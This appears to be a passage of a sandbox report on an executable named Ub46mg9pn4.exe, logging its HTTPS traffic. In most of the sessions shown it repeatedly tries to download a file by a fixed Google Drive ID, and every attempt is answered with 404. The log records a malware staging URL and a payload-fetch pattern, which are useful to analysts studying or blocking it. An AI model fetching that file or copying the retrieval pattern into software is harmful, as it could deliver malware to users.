2025-01-10 14:40:54 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:55 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7TUeLvVYrCIdsMQ7bqv2A2EHqen0XFiymHOVXrFNkBzpxOdy2IFHDHbj02InbkUeCw Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:55 GMT Content-Security-Policy: script-src 'nonce-kNCcqjfjQiD0uWFzY7B2NA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:55 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 74 5f 57 69 4c 6b 59 30 72 69 7a 32 2d 4c 59 62 76 4d 76 75 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vt_WiLkY0riz2-LYbvMvuA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.30	49857	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:05 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:05 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:05 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bp5l1CZxX7OtvOhKI7D2JA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.30	49858	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:06 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:06 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC50jf_sB-xKZjQHRApZvvl5FIdNkPNuKymiaP7kTsMv0WUv6HFDNe63yMbzcIGLgq3o Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:06 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-C2W863CyDY1Cn4Hu5mkw-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:41:06 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 4d 35 51 2d 6e 4e 2d 4c 64 49 49 54 45 38 49 62 32 35 6a 6c 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XM5Q-nN-LdIITE8Ib25jlA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.30	49859	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:16 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:17 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:16 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-anIHmEu137qMsQUA1DJKAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.30	49860	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:17 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:17 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRqcdl-71-DD7LHmlKk_p8lsEkhrGuE7yCqCIANVwBmuMu1fYtqzKWwBJBYah3_DCL5GQp06Go Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:17 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-uDSXiYLa9awY9L3T7kX5AA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:41:17 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 30 2d 6d 6a 72 4a 63 65 4e 58 50 5f 63 47 32 6b 79 69 36 39 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="d0-mjrJceNXP_cG2kyi69Q">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.30	49861	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:27 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:28 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:28 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-aXF4YD3f5IY74GWoathwNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.30	49862	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:28 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:28 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC444pi1sn1kALp1xOutzyMgCz4aC2tzv2L3xQhg3J_JX32MDzwlFa7Pf-nxdLasJBLy Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:28 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-VVtGo7d9dHQRjotSqFMqmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:41:28 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 32 56 78 49 61 68 7a 69 38 79 66 30 6c 6b 66 6e 47 48 4f 74 73 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2VxIahzi8yf0lkfnGHOtsw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.30	49863	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:39 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:39 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:39 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-0z5YplrE-8ojd9EUo11oFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.30	49864	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
